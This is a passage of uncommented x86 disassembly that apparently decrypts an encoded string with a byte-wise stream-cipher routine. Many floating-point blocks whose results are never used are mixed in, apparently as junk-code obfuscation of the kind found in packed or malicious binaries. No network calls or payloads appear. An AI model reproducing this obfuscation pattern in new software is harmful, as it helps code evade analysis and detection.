mov byte [ebp + ecx - 0x9b4], al
movzx eax, byte [ebp - 0x9bd]
movzx ecx, byte [ebp - 0x8b1]
mov al, byte [ebp + eax - 0x9b4]
mov byte [ebp + ecx - 0x9b4], al
movzx eax, byte [ebp - 0x9c7]
movzx ecx, byte [ebp - 0x9bd]
mov al, byte [ebp + eax - 0x9b4]
mov byte [ebp + ecx - 0x9b4], al
movzx eax, byte [ebp - 0x9c7]
mov cl, byte [ebp - 0xa55]
mov byte [ebp + eax - 0x9b4], cl
movzx eax, byte [ebp - 0xa55]
movzx eax, byte [ebp + eax - 0x9b4]
movzx ecx, byte [ebp - 0x9b5]
add ecx, eax
mov byte [ebp - 0x9b5], cl
movzx eax, byte [ebp - 0xa0d]
movzx ecx, byte [ebp - 0x8b1]
movzx ecx, byte [ebp + ecx - 0x9b4]
movzx edx, byte [ebp - 0x9c7]
movzx edx, byte [ebp + edx - 0x9b4]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x9b4]
xor eax, ecx
movzx ecx, byte [ebp - 0x9bd]
movzx ecx, byte [ebp + ecx - 0x9b4]
movzx edx, byte [ebp - 0x8a1]
movzx edx, byte [ebp + edx - 0x9b4]
add ecx, edx
movzx edx, byte [ebp - 0x9b5]
movzx edx, byte [ebp + edx - 0x9b4]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x9b4]
movzx ecx, byte [ebp + ecx - 0x9b4]
xor eax, ecx
mov byte [ebp - 0x9bd], al
mov al, byte [ebp - 0xa0d]
mov byte [ebp - 0x8a1], al
mov al, byte [ebp - 0x9bd]
mov byte [ebp - 0xa45], al
cmp dword [ebp - 0xa30], 0
jle 0x513bfe
movsx ax, byte [ebp - 0xa45]
mov ecx, dword [ebp - 0xa30]
mov word [ebp + ecx*2 - 0x46e], ax
mov eax, dword [ebp - 0xa30]
inc eax
mov dword [ebp - 0xa30], eax
mov eax, dword [ebp - 0xa2c]
inc eax
mov dword [ebp - 0xa2c], eax
mov eax, dword [ebp - 0xa30]
shl eax, 1
mov dword [ebp - 0x9e4], eax
mov eax, dword [ebp - 0x8ac]
add eax, dword [ebp - 0x9e4]
movzx eax, byte [eax]
mov dword [ebp - 0xa54], eax
mov dword [ebp - 0xa00], 0x1c
mov eax, dword [ebp - 0xa30]
lea eax, [eax + eax + 1]
mov dword [ebp - 0xa24], eax
mov eax, dword [ebp - 0x8ac]
add eax, dword [ebp - 0xa24]
movzx eax, byte [eax]
mov dword [ebp - 0xa64], eax
mov dword [ebp - 0xa50], 0x77
mov eax, dword [ebp - 0xa54]
sub eax, dword [ebp - 0xa00]
mov dword [ebp - 0xa60], eax
fld dword [0x9a4270]
fstp dword [ebp - 0x9e0]
fld dword [0x9a426c]
fstp dword [ebp - 0x9f8]
fld dword [0x9a4268]
fstp dword [ebp - 0xa20]
fld dword [ebp - 0x9e0]
fmul dword [ebp - 0xa20]
fstp dword [ebp - 0x9e0]
fld dword [ebp - 0x9e0]
fsub dword [ebp - 0xa20]
fstp dword [ebp - 0x9e0]
fld dword [ebp - 0x9f8]
fadd dword [ebp - 0xa20]
fstp dword [ebp - 0x9f8]
fld dword [ebp - 0x9e0]
fld dword [ebp - 0xa20]
fcompp
fnstsw ax
test ah, 0x41
jne 0x513d2d
fld dword [ebp - 0x9e0]
fmul dword [ebp - 0x9f8]
fstp dword [ebp - 0x9e0]
fld dword [ebp - 0x9e0]
fdiv dword [ebp - 0x9f8]
fstp dword [ebp - 0x9e0]
fld dword [ebp - 0xa20]
fmul dword [ebp - 0x9e0]
fstp dword [ebp - 0xa20]
jmp 0x513d75
fld dword [ebp - 0x9e0]
fadd dword [ebp - 0xa20]
fstp dword [ebp - 0x9e0]
fld dword [ebp - 0x9e0]
fadd dword [ebp - 0xa20]
fstp dword [ebp - 0x9e0]
fld dword [ebp - 0x9f8]
fmul dword [ebp - 0x9e0]
fstp dword [ebp - 0x9f8]
mov eax, dword [ebp - 0xa64]
sub eax, dword [ebp - 0xa50]
mov dword [ebp - 0x9e8], eax
mov eax, dword [ebp - 0xa60]
shl eax, 4
mov dword [ebp - 0xa5c], eax
mov eax, dword [ebp - 0x9e8]
mov dword [ebp - 0xa4c], eax
mov eax, dword [ebp - 0xa5c]
or eax, dword [ebp - 0xa4c]
mov dword [ebp - 0xa28], eax
mov al, byte [ebp - 0xa28]
mov byte [ebp - 0xa0d], al
fld qword [0x9a4260]
fstp qword [ebp - 0xa44]
fld qword [0x9a4258]
fstp qword [ebp - 0x9dc]
fld qword [0x9a4250]
fstp qword [ebp - 0x9f4]
fld qword [0x9a4248]
fstp qword [ebp - 0xa1c]
fld qword [0x9a4240]
fstp qword [ebp - 0xa3c]
fld qword [0x9a4238]
fstp qword [ebp - 0xa0c]
fld qword [ebp - 0xa44]
fadd qword [ebp - 0xa0c]
fstp qword [ebp - 0xa44]
fld qword [ebp - 0xa3c]
fsub qword [ebp - 0xa0c]
fstp qword [ebp - 0xa3c]
fld qword [ebp - 0xa44]
fsub qword [ebp - 0xa0c]
fstp qword [ebp - 0xa44]
fld qword [ebp - 0x9f4]
fmul qword [ebp - 0xa0c]
fstp qword [ebp - 0x9f4]
fld qword [ebp - 0xa3c]
fadd qword [ebp - 0xa0c]
fstp qword [ebp - 0xa3c]
fld qword [ebp - 0xa3c]
fadd qword [ebp - 0xa0c]
fstp qword [ebp - 0xa3c]
fld qword [ebp - 0xa0c]
fcomp qword [ebp - 0x9f4]
fnstsw ax
test ah, 5
jp 0x513efb
fld qword [ebp - 0xa1c]
fadd qword [ebp - 0xa0c]
fstp qword [ebp - 0xa1c]
fld qword [ebp - 0x9dc]
fsub qword [ebp - 0xa1c]
fstp qword [ebp - 0x9dc]
fld qword [ebp - 0xa3c]
fmul qword [ebp - 0xa44]
fstp qword [ebp - 0xa3c]
fld qword [ebp - 0x9f4]
fadd qword [ebp - 0xa3c]
fstp qword [ebp - 0x9f4]
fld qword [ebp - 0xa1c]
fadd qword [ebp - 0xa0c]
fstp qword [ebp - 0xa1c]
fld qword [ebp - 0xa3c]
fmul qword [ebp - 0xa44]
fstp qword [ebp - 0xa3c]
movzx eax, byte [ebp - 0x8a1]
mov al, byte [ebp + eax - 0x9b4]
mov byte [ebp - 0xa55], al
jmp 0x513f67
fld qword [ebp - 0x9f4]
fadd qword [ebp - 0xa1c]
fstp qword [ebp - 0x9f4]
fld qword [ebp - 0xa1c]
fadd qword [ebp - 0xa3c]
fstp qword [ebp - 0xa1c]
fld qword [ebp - 0xa1c]
fmul qword [ebp - 0xa3c]
fstp qword [ebp - 0xa1c]
fld qword [ebp - 0xa44]
fadd qword [ebp - 0x9dc]
fstp qword [ebp - 0xa44]
fld qword [ebp - 0x9dc]
fdiv qword [ebp - 0x9f4]
fstp qword [ebp - 0x9dc]
fld qword [ebp - 0xa3c]
fsub qword [ebp - 0xa0c]
fstp qword [ebp - 0xa3c]
movzx eax, byte [ebp - 0x9c7]
movzx eax, byte [ebp + eax - 0x9b4]
movzx ecx, byte [ebp - 0x8b1]
add ecx, eax
mov byte [ebp - 0x8b1], cl
mov al, byte [ebp - 0x9c7]
add al, 1
mov byte [ebp - 0x9c7], al
movzx eax, byte [ebp - 0x8b1]
movzx ecx, byte [ebp - 0x8a1]
mov al, byte [ebp + eax - 0x9b4]
mov byte [ebp + ecx - 0x9b4], al
movzx eax, byte [ebp - 0x9bd]
movzx ecx, byte [ebp - 0x8b1]
mov al, byte [ebp + eax - 0x9b4]
mov byte [ebp + ecx - 0x9b4], al
movzx eax, byte [ebp - 0x9c7]
movzx ecx, byte [ebp - 0x9bd]
mov al, byte [ebp + eax - 0x9b4]
mov byte [ebp + ecx - 0x9b4], al
movzx eax, byte [ebp - 0x9c7]
mov cl, byte [ebp - 0xa55]
mov byte [ebp + eax - 0x9b4], cl
movzx eax, byte [ebp - 0xa55]
movzx eax, byte [ebp + eax - 0x9b4]
movzx ecx, byte [ebp - 0x9b5]
add ecx, eax
mov byte [ebp - 0x9b5], cl
movzx eax, byte [ebp - 0xa0d]
movzx ecx, byte [ebp - 0x8b1]
movzx ecx, byte [ebp + ecx - 0x9b4]
movzx edx, byte [ebp - 0x9c7]
movzx edx, byte [ebp + edx - 0x9b4]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x9b4]
xor eax, ecx
movzx ecx, byte [ebp - 0x9bd]
movzx ecx, byte [ebp + ecx - 0x9b4]
movzx edx, byte [ebp - 0x8a1]
movzx edx, byte [ebp + edx - 0x9b4]
add ecx, edx
movzx edx, byte [ebp - 0x9b5]
movzx edx, byte [ebp + edx - 0x9b4]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x9b4]
movzx ecx, byte [ebp + ecx - 0x9b4]
xor eax, ecx
mov byte [ebp - 0x9bd], al
mov al, byte [ebp - 0xa0d]
mov byte [ebp - 0x8a1], al
mov al, byte [ebp - 0x9bd]
mov byte [ebp - 0xa45], al
cmp dword [ebp - 0xa30], 0
jle 0x5140d6
movsx ax, byte [ebp - 0xa45]
mov ecx, dword [ebp - 0xa30]
mov word [ebp + ecx*2 - 0x46e], ax
mov eax, dword [ebp - 0xa30]
inc eax
mov dword [ebp - 0xa30], eax
mov eax, dword [ebp - 0xa2c]
inc eax
mov dword [ebp - 0xa2c], eax
mov eax, dword [ebp - 0xa30]
shl eax, 1
mov dword [ebp - 0x9e4], eax
mov eax, dword [ebp - 0x8ac]
add eax, dword [ebp - 0x9e4]
movzx eax, byte [eax]
mov dword [ebp - 0xa54], eax
mov dword [ebp - 0xa00], 0x1c
mov eax, dword [ebp - 0xa30]
lea eax, [eax + eax + 1]
mov dword [ebp - 0xa24], eax
mov eax, dword [ebp - 0x8ac]
add eax, dword [ebp - 0xa24]
movzx eax, byte [eax]
mov dword [ebp - 0xa64], eax
mov dword [ebp - 0xa50], 0x77
mov eax, dword [ebp - 0xa54]
sub eax, dword [ebp - 0xa00]
mov dword [ebp - 0xa60], eax
mov eax, dword [ebp - 0xa64]
sub eax, dword [ebp - 0xa50]
mov dword [ebp - 0x9e8], eax
mov eax, dword [ebp - 0xa60]
shl eax, 4
mov dword [ebp - 0xa5c], eax
mov eax, dword [ebp - 0x9e8]
mov dword [ebp - 0xa4c], eax
mov eax, dword [ebp - 0xa5c]
or eax, dword [ebp - 0xa4c]
mov dword [ebp - 0xa28], eax
mov al, byte [ebp - 0xa28]
mov byte [ebp - 0xa0d], al
movzx eax, byte [ebp - 0x8a1]
mov al, byte [ebp + eax - 0x9b4]
mov byte [ebp - 0xa55], al
movzx eax, byte [ebp - 0x9c7]
movzx eax, byte [ebp + eax - 0x9b4]
movzx ecx, byte [ebp - 0x8b1]
add ecx, eax
mov byte [ebp - 0x8b1], cl
mov al, byte [ebp - 0x9c7]
add al, 1
mov byte [ebp - 0x9c7], al
movzx eax, byte [ebp - 0x8b1]
movzx ecx, byte [ebp - 0x8a1]
mov al, byte [ebp + eax - 0x9b4]
mov byte [ebp + ecx - 0x9b4], al
movzx eax, byte [ebp - 0x9bd]
movzx ecx, byte [ebp - 0x8b1]
mov al, byte [ebp + eax - 0x9b4]
mov byte [ebp + ecx - 0x9b4], al
movzx eax, byte [ebp - 0x9c7]
movzx ecx, byte [ebp - 0x9bd]
mov al, byte [ebp + eax - 0x9b4]
mov byte [ebp + ecx - 0x9b4], al
movzx eax, byte [ebp - 0x9c7]
mov cl, byte [ebp - 0xa55]
mov byte [ebp + eax - 0x9b4], cl
movzx eax, byte [ebp - 0xa55]
movzx eax, byte [ebp + eax - 0x9b4]
movzx ecx, byte [ebp - 0x9b5]
add ecx, eax
mov byte [ebp - 0x9b5], cl
movzx eax, byte [ebp - 0xa0d]
movzx ecx, byte [ebp - 0x8b1]
movzx ecx, byte [ebp + ecx - 0x9b4]
movzx edx, byte [ebp - 0x9c7]
movzx edx, byte [ebp + edx - 0x9b4]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x9b4]
xor eax, ecx
movzx ecx, byte [ebp - 0x9bd]
movzx ecx, byte [ebp + ecx - 0x9b4]
movzx edx, byte [ebp - 0x8a1]
movzx edx, byte [ebp + edx - 0x9b4]
add ecx, edx
movzx edx, byte [ebp - 0x9b5]
movzx edx, byte [ebp + edx - 0x9b4]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x9b4]
movzx ecx, byte [ebp + ecx - 0x9b4]
xor eax, ecx
mov byte [ebp - 0x9bd], al
mov al, byte [ebp - 0xa0d]
mov byte [ebp - 0x8a1], al
mov al, byte [ebp - 0x9bd]
mov byte [ebp - 0xa45], al
cmp dword [ebp - 0xa30], 0
jle 0x51432c
movsx ax, byte [ebp - 0xa45]
mov ecx, dword [ebp - 0xa30]
mov word [ebp + ecx*2 - 0x46e], ax
mov eax, dword [ebp - 0xa2c]
add eax, 4
mov dword [ebp - 0xa2c], eax
mov eax, dword [ebp - 0xa30]
inc eax
mov dword [ebp - 0xa68], eax
jmp 0x514357
mov eax, dword [ebp - 0xa68]
inc eax
mov dword [ebp - 0xa68], eax
mov eax, dword [ebp - 0xa68]
cmp eax, dword [ebp - 0xa2c]
jge 0x514870
mov eax, dword [ebp - 0xa30]
inc eax
mov dword [ebp - 0xa30], eax
mov eax, dword [ebp - 0xa30]
shl eax, 1
mov dword [ebp - 0x9e4], eax
mov eax, dword [ebp - 0x8ac]
add eax, dword [ebp - 0x9e4]
movzx eax, byte [eax]
mov dword [ebp - 0xa54], eax
mov dword [ebp - 0xa00], 0x1c
mov eax, dword [ebp - 0xa30]
lea eax, [eax + eax + 1]
mov dword [ebp - 0xa24], eax
mov eax, dword [ebp - 0x8ac]
add eax, dword [ebp - 0xa24]
movzx eax, byte [eax]
mov dword [ebp - 0xa64], eax
mov dword [ebp - 0xa50], 0x77
fld dword [0x9a4230]
fstp dword [ebp - 0xa70]
fld dword [0x9a422c]
fstp dword [ebp - 0xa84]
fld dword [0x9a4228]
fstp dword [ebp - 0xa7c]
fld dword [0x9a4224]
fstp dword [ebp - 0xa74]
fld dword [ebp - 0xa7c]
fmul dword [ebp - 0xa74]
fstp dword [ebp - 0xa7c]
fld dword [ebp - 0xa7c]
fmul dword [ebp - 0xa74]
fstp dword [ebp - 0xa7c]
fld dword [ebp - 0xa70]
fmul dword [ebp - 0xa74]
fstp dword [ebp - 0xa70]
fld dword [ebp - 0xa70]
fsub dword [ebp - 0xa74]
fstp dword [ebp - 0xa70]
fld dword [ebp - 0xa74]
fld dword [ebp - 0xa7c]
fcompp
fnstsw ax
test ah, 0x41
jne 0x5144bb
fld dword [ebp - 0xa84]
fsub dword [ebp - 0xa74]
fstp dword [ebp - 0xa84]
fld dword [ebp - 0xa70]
fadd dword [ebp - 0xa7c]
fstp dword [ebp - 0xa70]
fld dword [ebp - 0xa7c]
fmul dword [ebp - 0xa70]
fstp dword [ebp - 0xa7c]
fld dword [ebp - 0xa7c]
fadd dword [ebp - 0xa70]
fstp dword [ebp - 0xa7c]
mov eax, dword [ebp - 0xa54]
sub eax, dword [ebp - 0xa00]
mov dword [ebp - 0xa60], eax
jmp 0x514503
fld dword [ebp - 0xa74]
fdiv dword [ebp - 0xa84]
fstp dword [ebp - 0xa74]
fld dword [ebp - 0xa74]
fdiv dword [ebp - 0xa84]
fstp dword [ebp - 0xa74]
fld dword [ebp - 0xa74]
fsub dword [ebp - 0xa84]
fstp dword [ebp - 0xa74]
fld dword [ebp - 0xa7c]
fsub dword [ebp - 0xa70]
fstp dword [ebp - 0xa7c]
mov eax, dword [ebp - 0xa64]
sub eax, dword [ebp - 0xa50]
mov dword [ebp - 0x9e8], eax
mov eax, dword [ebp - 0xa60]
shl eax, 4
mov dword [ebp - 0xa5c], eax
mov eax, dword [ebp - 0x9e8]
mov dword [ebp - 0xa4c], eax
mov eax, dword [ebp - 0xa5c]
or eax, dword [ebp - 0xa4c]
mov dword [ebp - 0xa28], eax
mov al, byte [ebp - 0xa28]
mov byte [ebp - 0xa0d], al
movzx eax, byte [ebp - 0x8a1]
mov al, byte [ebp + eax - 0x9b4]
mov byte [ebp - 0xa55], al
movzx eax, byte [ebp - 0x9c7]
movzx eax, byte [ebp + eax - 0x9b4]
movzx ecx, byte [ebp - 0x8b1]
add ecx, eax
mov byte [ebp - 0x8b1], cl
mov al, byte [ebp - 0x9c7]
add al, 1
mov byte [ebp - 0x9c7], al
movzx eax, byte [ebp - 0x8b1]
movzx ecx, byte [ebp - 0x8a1]
mov al, byte [ebp + eax - 0x9b4]
mov byte [ebp + ecx - 0x9b4], al
movzx eax, byte [ebp - 0x9bd]
movzx ecx, byte [ebp - 0x8b1]
mov al, byte [ebp + eax - 0x9b4]
mov byte [ebp + ecx - 0x9b4], al
movzx eax, byte [ebp - 0x9c7]
movzx ecx, byte [ebp - 0x9bd]
mov al, byte [ebp + eax - 0x9b4]
mov byte [ebp + ecx - 0x9b4], al
movzx eax, byte [ebp - 0x9c7]
mov cl, byte [ebp - 0xa55]
mov byte [ebp + eax - 0x9b4], cl
fld dword [0x9a4220]
fstp dword [ebp - 0xa6c]
fld dword [0x9a421c]
fstp dword [ebp - 0xa80]
fld dword [0x9a4218]
fstp dword [ebp - 0xa78]
fld dword [ebp - 0xa6c]
fsub dword [ebp - 0xa78]
fstp dword [ebp - 0xa6c]
fld dword [ebp - 0xa6c]
fmul dword [ebp - 0xa78]
fstp dword [ebp - 0xa6c]
fld dword [ebp - 0xa6c]
fsub dword [ebp - 0xa78]
fstp dword [ebp - 0xa6c]
fld dword [ebp - 0xa6c]
fld dword [ebp - 0xa78]
fcompp
fnstsw ax
test ah, 0x41
jne 0x51475a
fld dword [ebp - 0xa80]
fadd dword [ebp - 0xa6c]
fstp dword [ebp - 0xa80]
fld dword [ebp - 0xa78]
fadd dword [ebp - 0xa80]
fstp dword [ebp - 0xa78]
fld dword [ebp - 0xa80]
fsub dword [ebp - 0xa6c]
fstp dword [ebp - 0xa80]
fld dword [ebp - 0xa78]
fsub dword [ebp - 0xa6c]
fstp dword [ebp - 0xa78]
fld dword [ebp - 0xa80]
fmul dword [ebp - 0xa78]
fstp dword [ebp - 0xa80]
fld dword [ebp - 0xa78]
fsub dword [ebp - 0xa6c]
fstp dword [ebp - 0xa78]
fld dword [ebp - 0xa80]
fld dword [ebp - 0xa6c]
fcompp
fnstsw ax
test ah, 5
jp 0x514722
fld dword [ebp - 0xa80]
fadd dword [ebp - 0xa6c]
fstp dword [ebp - 0xa80]
fld dword [ebp - 0xa80]
fadd dword [ebp - 0xa6c]
fstp dword [ebp - 0xa80]
fld dword [ebp - 0xa78]
fsub dword [ebp - 0xa80]
fstp dword [ebp - 0xa78]
jmp 0x514758
fld dword [ebp - 0xa80]
fmul dword [ebp - 0xa6c]
fstp dword [ebp - 0xa80]
fld dword [ebp - 0xa80]
fdiv dword [ebp - 0xa6c]
fstp dword [ebp - 0xa80]
fld dword [ebp - 0xa6c]
fdiv dword [ebp - 0xa78]
fstp dword [ebp - 0xa6c]
jmp 0x5147ae
fld dword [ebp - 0xa78]
fmul dword [ebp - 0xa80]
fstp dword [ebp - 0xa78]
fld dword [ebp - 0xa78]
fmul dword [ebp - 0xa80]
fstp dword [ebp - 0xa78]
fld dword [ebp - 0xa78]
fsub dword [ebp - 0xa80]
fstp dword [ebp - 0xa78]
movzx eax, byte [ebp - 0xa55]
movzx eax, byte [ebp + eax - 0x9b4]
movzx ecx, byte [ebp - 0x9b5]
add ecx, eax
mov byte [ebp - 0x9b5], cl
movzx eax, byte [ebp - 0xa0d]
movzx ecx, byte [ebp - 0x8b1]
movzx ecx, byte [ebp + ecx - 0x9b4]
movzx edx, byte [ebp - 0x9c7]
movzx edx, byte [ebp + edx - 0x9b4]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x9b4]
xor eax, ecx
movzx ecx, byte [ebp - 0x9bd]
movzx ecx, byte [ebp + ecx - 0x9b4]
movzx edx, byte [ebp - 0x8a1]
movzx edx, byte [ebp + edx - 0x9b4]
add ecx, edx
movzx edx, byte [ebp - 0x9b5]
movzx edx, byte [ebp + edx - 0x9b4]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x9b4]
movzx ecx, byte [ebp + ecx - 0x9b4]
xor eax, ecx
mov byte [ebp - 0x9bd], al
mov al, byte [ebp - 0xa0d]
mov byte [ebp - 0x8a1], al
mov al, byte [ebp - 0x9bd]
mov byte [ebp - 0xa45], al
cmp dword [ebp - 0xa30], 0
jle 0x51486b
movsx ax, byte [ebp - 0xa45]
mov ecx, dword [ebp - 0xa30]
mov word [ebp + ecx*2 - 0x46e], ax
jmp 0x51434a
mov eax, dword [ebp - 0xa2c]
inc eax
mov dword [ebp - 0xa2c], eax
mov eax, dword [ebp - 0xa30]
inc eax
mov dword [ebp - 0xa30], eax
mov eax, dword [ebp - 0xa2c]
inc eax
mov dword [ebp - 0xa2c], eax
mov eax, dword [ebp - 0xa30]
shl eax, 1
mov dword [ebp - 0x9e4], eax
mov eax, dword [ebp - 0x8ac]
add eax, dword [ebp - 0x9e4]
movzx eax, byte [eax]
mov dword [ebp - 0xa54], eax
mov dword [ebp - 0xa00], 0x1c
mov eax, dword [ebp - 0xa30]
lea eax, [eax + eax + 1]
mov dword [ebp - 0xa24], eax
mov eax, dword [ebp - 0x8ac]
add eax, dword [ebp - 0xa24]
movzx eax, byte [eax]
mov dword [ebp - 0xa64], eax
mov dword [ebp - 0xa50], 0x77
mov eax, dword [ebp - 0xa54]
sub eax, dword [ebp - 0xa00]
mov dword [ebp - 0xa60], eax
mov eax, dword [ebp - 0xa64]
sub eax, dword [ebp - 0xa50]
mov dword [ebp - 0x9e8], eax
mov eax, dword [ebp - 0xa60]
shl eax, 4
mov dword [ebp - 0xa5c], eax
mov eax, dword [ebp - 0x9e8]
mov dword [ebp - 0xa4c], eax
mov eax, dword [ebp - 0xa5c]
or eax, dword [ebp - 0xa4c]
mov dword [ebp - 0xa28], eax
mov al, byte [ebp - 0xa28]
mov byte [ebp - 0xa0d], al
movzx eax, byte [ebp - 0x8a1]
mov al, byte [ebp + eax - 0x9b4]
mov byte [ebp - 0xa55], al
movzx eax, byte [ebp - 0x9c7]
movzx eax, byte [ebp + eax - 0x9b4]
movzx ecx, byte [ebp - 0x8b1]
add ecx, eax
mov byte [ebp - 0x8b1], cl
mov al, byte [ebp - 0x9c7]
add al, 1
mov byte [ebp - 0x9c7], al
fld dword [0x9a4214]
fstp dword [ebp - 0xa04]
fld dword [0x9a4210]
fstp dword [ebp - 0x9ec]
fld dword [0x9a420c]
fstp dword [ebp - 0x9fc]
fld dword [ebp - 0x9ec]
fmul dword [ebp - 0x9fc]
fstp dword [ebp - 0x9ec]
fld dword [ebp - 0xa04]
fmul dword [ebp - 0x9fc]
fstp dword [ebp - 0xa04]
fld dword [ebp - 0xa04]
fsub dword [ebp - 0x9fc]
fstp dword [ebp - 0xa04]
fld dword [ebp - 0xa04]
fld dword [ebp - 0x9fc]
fcompp
fnstsw ax
test ah, 5
jp 0x514a56
fld dword [ebp - 0xa04]
fadd dword [ebp - 0x9fc]
fstp dword [ebp - 0xa04]
fld dword [ebp - 0x9ec]
fadd dword [ebp - 0xa04]
fstp dword [ebp - 0x9ec]
fld dword [ebp - 0x9fc]
fmul dword [ebp - 0x9ec]
fstp dword [ebp - 0x9fc]
movzx eax, byte [ebp - 0x8b1]
movzx ecx, byte [ebp - 0x8a1]
mov al, byte [ebp + eax - 0x9b4]
mov byte [ebp + ecx - 0x9b4], al
jmp 0x514b45
fld dword [ebp - 0xa04]
fsub dword [ebp - 0x9fc]
fstp dword [ebp - 0xa04]
fld dword [ebp - 0xa04]
fmul dword [ebp - 0x9fc]
fstp dword [ebp - 0xa04]
fld dword [ebp - 0xa04]
fdiv dword [ebp - 0x9fc]
fstp dword [ebp - 0xa04]
fld dword [ebp - 0x9fc]
fdiv dword [ebp - 0x9ec]
fstp dword [ebp - 0x9fc]
fld dword [ebp - 0xa04]
fdiv dword [ebp - 0x9fc]
fstp dword [ebp - 0xa04]
fld dword [ebp - 0x9ec]
fdiv dword [ebp - 0xa04]
fstp dword [ebp - 0x9ec]
fld dword [ebp - 0xa04]
fld dword [ebp - 0x9fc]
fcompp
fnstsw ax
test ah, 5
jp 0x514b0f
fld dword [ebp - 0x9ec]
fadd dword [ebp - 0x9fc]
fstp dword [ebp - 0x9ec]
fld dword [ebp - 0xa04]
fmul dword [ebp - 0x9ec]
fstp dword [ebp - 0xa04]
fld dword [ebp - 0x9ec]
fsub dword [ebp - 0x9fc]
fstp dword [ebp - 0x9ec]
jmp 0x514b45
fld dword [ebp - 0xa04]
fdiv dword [ebp - 0x9fc]
fstp dword [ebp - 0xa04]
fld dword [ebp - 0xa04]
fdiv dword [ebp - 0x9fc]
fstp dword [ebp - 0xa04]
fld dword [ebp - 0x9ec]
fsub dword [ebp - 0xa04]
fstp dword [ebp - 0x9ec]
movzx eax, byte [ebp - 0x9bd]
movzx ecx, byte [ebp - 0x8b1]
mov al, byte [ebp + eax - 0x9b4]
mov byte [ebp + ecx - 0x9b4], al
movzx eax, byte [ebp - 0x9c7]
movzx ecx, byte [ebp - 0x9bd]
mov al, byte [ebp + eax - 0x9b4]
mov byte [ebp + ecx - 0x9b4], al
movzx eax, byte [ebp - 0x9c7]
mov cl, byte [ebp - 0xa55]
mov byte [ebp + eax - 0x9b4], cl
movzx eax, byte [ebp - 0xa55]
movzx eax, byte [ebp + eax - 0x9b4]
movzx ecx, byte [ebp - 0x9b5]
add ecx, eax
mov byte [ebp - 0x9b5], cl
movzx eax, byte [ebp - 0xa0d]
movzx ecx, byte [ebp - 0x8b1]
movzx ecx, byte [ebp + ecx - 0x9b4]
movzx edx, byte [ebp - 0x9c7]
movzx edx, byte [ebp + edx - 0x9b4]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x9b4]
xor eax, ecx
movzx ecx, byte [ebp - 0x9bd]
movzx ecx, byte [ebp + ecx - 0x9b4]
movzx edx, byte [ebp - 0x8a1]
movzx edx, byte [ebp + edx - 0x9b4]
add ecx, edx
movzx edx, byte [ebp - 0x9b5]
movzx edx, byte [ebp + edx - 0x9b4]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x9b4]
movzx ecx, byte [ebp + ecx - 0x9b4]
xor eax, ecx
mov byte [ebp - 0x9bd], al
mov al, byte [ebp - 0xa0d]
mov byte [ebp - 0x8a1], al
mov al, byte [ebp - 0x9bd]
mov byte [ebp - 0xa45], al
cmp dword [ebp - 0xa30], 0
jle 0x514c6c
movsx ax, byte [ebp - 0xa45]
mov ecx, dword [ebp - 0xa30]
mov word [ebp + ecx*2 - 0x46e], ax
mov eax, dword [ebp - 0xa2c]
add eax, 4
mov dword [ebp - 0xa2c], eax
mov eax, dword [ebp - 0xa30]
inc eax
mov dword [ebp - 0xa88], eax
jmp 0x514c97
mov eax, dword [ebp - 0xa88]
inc eax
mov dword [ebp - 0xa88], eax
mov eax, dword [ebp - 0xa88]
cmp eax, dword [ebp - 0xa2c]
jge 0x514fd4
mov eax, dword [ebp - 0xa30]
inc eax
mov dword [ebp - 0xa30], eax
mov eax, dword [ebp - 0xa30]
shl eax, 1
mov dword [ebp - 0x9e4], eax
mov eax, dword [ebp - 0x8ac]
add eax, dword [ebp - 0x9e4]
movzx eax, byte [eax]
mov dword [ebp - 0xa54], eax
mov dword [ebp - 0xa00], 0x1c
mov eax, dword [ebp - 0xa30]
lea eax, [eax + eax + 1]
mov dword [ebp - 0xa24], eax
mov eax, dword [ebp - 0x8ac]
add eax, dword [ebp - 0xa24]
movzx eax, byte [eax]
mov dword [ebp - 0xa64], eax
mov dword [ebp - 0xa50], 0x77
mov eax, dword [ebp - 0xa54]
sub eax, dword [ebp - 0xa00]
mov dword [ebp - 0xa60], eax
mov eax, dword [ebp - 0xa64]
sub eax, dword [ebp - 0xa50]
mov dword [ebp - 0x9e8], eax
mov eax, dword [ebp - 0xa60]
shl eax, 4
mov dword [ebp - 0xa5c], eax
fld dword [0x9a4208]
fstp dword [ebp - 0xa90]
fld dword [0x9a4204]
fstp dword [ebp - 0xa94]
fld dword [0x9a4200]
fstp dword [ebp - 0xa8c]
fld dword [ebp - 0xa94]
fsub dword [ebp - 0xa8c]
fstp dword [ebp - 0xa94]
fld dword [ebp - 0xa90]
fadd dword [ebp - 0xa8c]
fstp dword [ebp - 0xa90]
fld dword [ebp - 0xa90]
fsub dword [ebp - 0xa8c]
fstp dword [ebp - 0xa90]
fld dword [ebp - 0xa94]
fld dword [ebp - 0xa90]
fcompp
fnstsw ax
test ah, 0x41
jne 0x514df8
fld dword [ebp - 0xa8c]
fmul dword [ebp - 0xa94]
fstp dword [ebp - 0xa8c]
fld dword [ebp - 0xa94]
fsub dword [ebp - 0xa90]
fstp dword [ebp - 0xa94]
fld dword [ebp - 0xa90]
fmul dword [ebp - 0xa8c]
fstp dword [ebp - 0xa90]
mov eax, dword [ebp - 0x9e8]
mov dword [ebp - 0xa4c], eax
jmp 0x514e2e
fld dword [ebp - 0xa8c]
fsub dword [ebp - 0xa90]
fstp dword [ebp - 0xa8c]
fld dword [ebp - 0xa94]
fmul dword [ebp - 0xa8c]
fstp dword [ebp - 0xa94]
fld dword [ebp - 0xa94]
fsub dword [ebp - 0xa8c]
fstp dword [ebp - 0xa94]
mov eax, dword [ebp - 0xa5c]
or eax, dword [ebp - 0xa4c]
mov dword [ebp - 0xa28], eax
mov al, byte [ebp - 0xa28]
mov byte [ebp - 0xa0d], al
movzx eax, byte [ebp - 0x8a1]
mov al, byte [ebp + eax - 0x9b4]
mov byte [ebp - 0xa55], al
movzx eax, byte [ebp - 0x9c7]
